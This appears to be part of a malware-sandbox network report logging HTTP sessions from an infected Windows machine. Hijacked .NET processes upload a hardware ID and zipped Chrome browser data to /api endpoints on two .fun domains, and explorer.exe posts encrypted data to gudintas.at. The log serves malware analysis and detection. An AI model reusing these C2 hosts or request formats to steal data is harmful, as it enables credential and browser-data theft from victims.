Oct 3, 2023 09:55:21.558842897 CEST	6270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 86372 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:21.559259892 CEST	6281	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:21.653593063 CEST	6283	OUT	Data Raw: 70 3b 49 e3 b5 5b c7 ba ad 33 55 f7 c0 d5 84 5a 6b 19 a3 aa fa 60 54 88 65 ad 29 d1 b2 74 cb 52 44 85 e0 e4 c6 97 cc aa 1d a7 b6 53 28 3c 4a 07 3c e2 65 4c 13 42 bc 05 9e ec d9 c4 03 de 02 0f 40 02 1e 20 f1 0c c1 13 ee ec 34 89 13 67 6d 11 d3 34 Data Ascii: p;I[3UZk`Te)tRDS(<J<eLB@ 4gm4H}>S+K)A"Bfs[k6xq&'{Zz"HKOx)\W,Ion[Q391}e&\|oy'~*HO?xW
Oct 3, 2023 09:55:21.654036045 CEST	6285	OUT	Data Raw: a4 ea b4 58 08 b6 1b 4f 6c 35 8d 67 4c 78 84 d1 ae e8 5e 07 77 a2 aa ea b9 ac fc 96 3c aa 1d c3 46 58 0c 3e 2e f8 67 25 79 45 15 db 53 c1 3a 16 4e a4 2c 98 c7 23 f9 24 cc cc 26 4d a8 d7 0d f9 05 4b 53 91 26 1d 51 84 b7 6e b4 58 df 14 8a 7a 70 fb Data Ascii: XOl5gLx^w<FX>.g%yES:N,#$&MKS&QnXzp$Kg#>nLk`pWIgu('U]m2]~?-Gv3UT'W,n6-.CW'/.s(\|xze9zK
Oct 3, 2023 09:55:21.654151917 CEST	6288	OUT	Data Raw: 95 c3 9d 46 f5 d0 ca 7a bf 78 df 5b 68 ac 75 e4 55 3f 39 b8 b7 72 b6 6c 07 63 b5 d5 4e f2 62 bb af 47 6d 23 93 fc da bb 74 f4 09 d9 46 26 f5 70 2b 4a b7 5e df 63 24 8d 76 bd e9 07 c6 7e e3 ee 8b 21 5f ec c2 17 d3 d6 6e f0 f7 21 b5 66 b9 cf eb 4f Data Ascii: Fzx[huU?9rlcNbGm#tF&p+J^c$v~!_n!fO2/v/8v.SDnT_yP[T}&z?562.?ZiQq[}R\|@p]\|d1_AuG;5SGw.Y9oo'
Oct 3, 2023 09:55:21.654166937 CEST	6291	OUT	Data Raw: 62 39 b6 b0 62 99 9c 99 8e ec aa 51 60 f3 3c 77 b3 0a 12 ae 51 88 15 84 0c 57 6b b7 56 96 e7 12 9c 70 95 4b c6 e2 1b 05 4e da 5d 5e 10 0b 6c ba 59 21 56 5c 68 a0 33 c9 66 79 2e 1f 2b 6c e4 1a 14 0a d9 02 97 cf 17 73 85 58 9e 63 25 31 bb bb c6 0a Data Ascii: b9bQ`<wQWkVpKN]^lY!V\h3fy.+lsXc%1+X3mM6\r<JHpBJ6m#p+o^PUJe`1neY\|yfI!%p4fqrz<*k^bUEs$le<<,N.XN
Oct 3, 2023 09:55:21.654212952 CEST	6293	OUT	Data Raw: 0e bf 21 e6 71 74 05 2f 50 71 b0 51 48 91 3d 23 de d4 0c 61 4d 57 c7 6e 31 d8 58 0d 19 93 41 67 10 8f 8a 8d 1e 74 7a c5 06 32 76 4d c2 42 c5 9b 6c 36 6f 40 f0 f8 6c 1e a7 87 5e 75 ac fa 70 71 d5 df 6a 75 b0 4c e0 70 4e f6 ba a1 95 34 ee e2 90 c4 Data Ascii: !qt/PqQH=#aMWn1XAgtz2vMBl6o@l^upqjuLpN4-nTf5nM\R"Mbz3tA[BoafxVW,)pl!%1UZzR7Wxxsn?uFF=74cED&1&x!/f3Nqip
Oct 3, 2023 09:55:21.654269934 CEST	6296	OUT	Data Raw: e3 19 f1 d6 39 9e d3 8d 92 f6 c0 be 5f d1 49 5a 68 fb c1 ce 65 7f 46 cb 05 ff d9 09 67 40 10 af 0e f1 cd 97 98 66 bb c9 61 39 be a7 54 ea 9a 5c 31 f7 35 cb 73 38 d6 2a c0 e5 d5 eb 4b df 96 62 d5 a5 b5 d5 b6 a3 34 46 5d c7 25 9f 73 6e 55 c8 88 a3 Data Ascii: 9_IZheFg@fa9T\15s8Kb4F]%snUCvw@\|@oX)>3j,VrBVIH3#5s(k\| r\|&#.n;o7 -\|scjlkOp/wdo"]n\_F=@0r!p_)g1j
Oct 3, 2023 09:55:21.654371023 CEST	6299	OUT	Data Raw: 14 b5 6d e2 c9 1b f1 31 23 73 7e fb 61 d4 d0 9a ac 5a 9a 42 cd a8 75 1b 1d ab db ae a9 39 bf cd b6 8e 2b 6b 5a 64 ad d5 b6 74 2c e5 b5 26 02 81 80 c8 cc a1 66 d6 ea 15 1a 9e 1e 15 54 2b 12 72 b1 21 d7 cc 8a ae 36 22 74 c8 ec c6 a1 46 bb c8 0c 27 Data Ascii: m1#s~aZBu9+kZdt,&fT+r!6"tF'2vg~M)A%=u*>F/Ito{Jz@,-{:E&ELnMfCVjzn](!u7:% F+8?;Htj2i2[S3N~&piIcnY
Oct 3, 2023 09:55:21.654402018 CEST	6301	OUT	Data Raw: 05 b2 74 0f f7 cc f8 b1 1f b7 55 bf f2 39 cc 5b bf a8 b4 94 e7 ca f2 0c 38 16 d9 b2 af cb 6b 25 f4 8c 40 9f e5 d8 bc 6d af 51 77 ed 3c 9d de 38 bf 6d eb f5 5e 8a 5b aa fe 19 47 0e 0c 6f 3a 69 e8 e0 15 1f 72 f0 b3 a3 17 3f 64 8b 74 12 3f 2a da 8e Data Ascii: tU9[8k%@mQw<8m^[Go:ir?dt?0 xZjND('"aQDr<x0O+Lmb)08^g9L>[d&W^ ^-3e\|/b}iDXbocr]M\|O*pqHU0R
Oct 3, 2023 09:55:21.654495955 CEST	6304	OUT	Data Raw: 91 29 a3 0c 4b 0b bc 19 da c8 66 06 af a5 20 79 10 f2 96 97 35 b5 12 ed ce b0 72 c0 5b f1 78 a7 18 92 ba fd f8 68 9b 20 ad 10 e3 cf 5b 0e 8d c3 d3 04 de 6a 65 28 23 80 81 ff b7 be 81 bf ee 6f 8d e7 21 8f 12 c5 78 c6 31 63 fc 7f 01 50 4b 07 08 ab Data Ascii: )Kf y5r[xh [je(#o!x1cPK2WBpPKNCW#Chrome/Default/BrowserDB/000005.ldbXS&X`%!A!&B@D]@`25@d\R\-K-lll
Oct 3, 2023 09:55:22.355128050 CEST	6362	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ru284k17ofho72rp1b272lt56u; expires=Sat, 27 Jan 2024 01:42:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BigkTs1V5DrPQ44xkx4D5MNTY5tOHYAlphYkwTuQeYAWI8nNf1zBCtlzv5KN9oaq5Q6fiWoS%2F%2BHJe65Yxn%2BFvhSK2iNLDu%2FhsColync9L61DLAI6UmUThmDpGSFr%2BI%2F0qz0o0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f53ff490823-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:22.355194092 CEST	6362	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49867	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:22.142316103 CEST	6360	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:22.142888069 CEST	6361	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:22.519377947 CEST	6363	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=pjq3p6ud9oqkeno9dnvff8t7vl; expires=Sat, 27 Jan 2024 01:42:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=raToWaoDks6e60axct4Kc8RGclFGC4%2Beyf%2FfcnZyGPh8AxIPROVtrwJMWO0GjFR0EhMj4niARMFyFKwSgSTqANsWeEoSISLnzpYgDMAn0P8He8HIr7J0qzr%2BbEQJCY%2BhpOMb9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f579a2f82a5-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:22.519445896 CEST	6364	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49868	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:22.566247940 CEST	6364	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:22.566247940 CEST	6365	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:22.893357038 CEST	6367	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=sms40lma384d4llc6oqrgu0tfm; expires=Sat, 27 Jan 2024 01:42:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wiCu0NAhyKymB5Duc%2BgoDyVf6Z9AzqW3RKi2MIs%2Felb06PryR5J3yNtiLAiEpUoieEOcphCnjQtH9GiCnuEJuGRWvVqWtMmAJ0EhMoG8F6OI6EoXh5CeQqp6qJgYZwZnI%2Fkr5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f5a4a055979-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:22.893424034 CEST	6367	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49869	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:22.733319044 CEST	6365	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:22.733838081 CEST	6366	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:23.061239004 CEST	6369	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=36m0ddol2oik43bm4e12hhn0aq; expires=Sat, 27 Jan 2024 01:42:01 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:22 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vBJ7SvQan5DYpjQXaLN%2B7SxMRtcacbO4mdR%2Ff9akCrbtFcqs7HdEjG2vJuO%2FtYOP3KmLTirjeBmvYEftNmvWRcKLIob0WqsD6rjwRJFBG3uZfyHWtxEJVSx5xYTmCe99D3yKYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f5b4f0f81ab-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:23.061268091 CEST	6369	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49871	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:23.110939980 CEST	6370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:23.111397028 CEST	6371	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:23.440721989 CEST	6379	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=9u23hf5ktmjskhekl4vogdc3mc; expires=Sat, 27 Jan 2024 01:42:02 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=f7IouTyuqGsauU8OQ2Eu419g2lyt8gAiil3gFcZFagzXMll8VhUNMm%2FvVO6diU246gLShVWd4%2B%2FU8qFVK7mTR55b5bfU5mBtcaf9dwykdK2IzdK1jrftHop%2FKR8SJtkMCxyG7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f5daaca9c67-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:23.440742970 CEST	6379	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49872	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:23.277622938 CEST	6371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:23.278090954 CEST	6372	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:23.637214899 CEST	6381	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=jmrt2q0ntcmvdi7noi8l0ch7fc; expires=Sat, 27 Jan 2024 01:42:02 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nVW6ykBt5X8xuiqa3D5EEiCkOit9nEl56yjbS9wTWkWGHH0lwX7i7qyhULjnUre5rhAwj02R2uQm2%2BE1SCxdl4WMRhzJuDvs7sYx0ceoTTrMgjSYo4eOAGUDyHbxtr%2BkZemftw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f5ebd350935-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:23.637248993 CEST	6381	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49873	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:23.786974907 CEST	6381	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:23.787401915 CEST	6382	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:24.103533030 CEST	6384	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2s5c81q54vq7v1h99a6h13j0rf; expires=Sat, 27 Jan 2024 01:42:02 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:23 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9Db8e7LdeTaDmnujjjDft0cqWcoyA7Jt8xGpRVNZvMHGJDoLmfWp9x7HcbI05tuKInuUuldNKPcoDER9Ps9xw45F2pP7jb%2FCXetqEwGiEQgZiNpNZeNjIcxDbOFGAK12f1JBVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f61eb5607bf-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:24.103591919 CEST	6384	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49874	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:23.881927967 CEST	6382	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:23.883096933 CEST	6383	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:24.222775936 CEST	6386	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=bo59qn79cen7hgcbbpq8k6h50o; expires=Sat, 27 Jan 2024 01:42:03 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:24 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vortFlMeOZ%2FyWsUKBzCi4oOCy0uFtPHMo9w4COc%2Bwz2WgWnzRdi%2FlnuX9q8TLS8J7l41rp1vkk5g35qYFDy9S0oUid5Wy8ovdPWo9LpRva0h1yHeIhyWTvvZ3yagzmScKvfqlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f6279060840-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:24.222803116 CEST	6386	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49807	200.92.136.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:25.673935890 CEST	1541	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hjjvq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: gudintas.at
Oct 3, 2023 09:54:25.673935890 CEST	1542	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 4e 57 ea fe Data Ascii: ;nRb&tdur0n+]jQi?$`7C[zqNA -[k,vuNW\AoBC5}FnfBx&.2S#%l:$\A$\|e.N8 \|Fro_C.]jlrBp
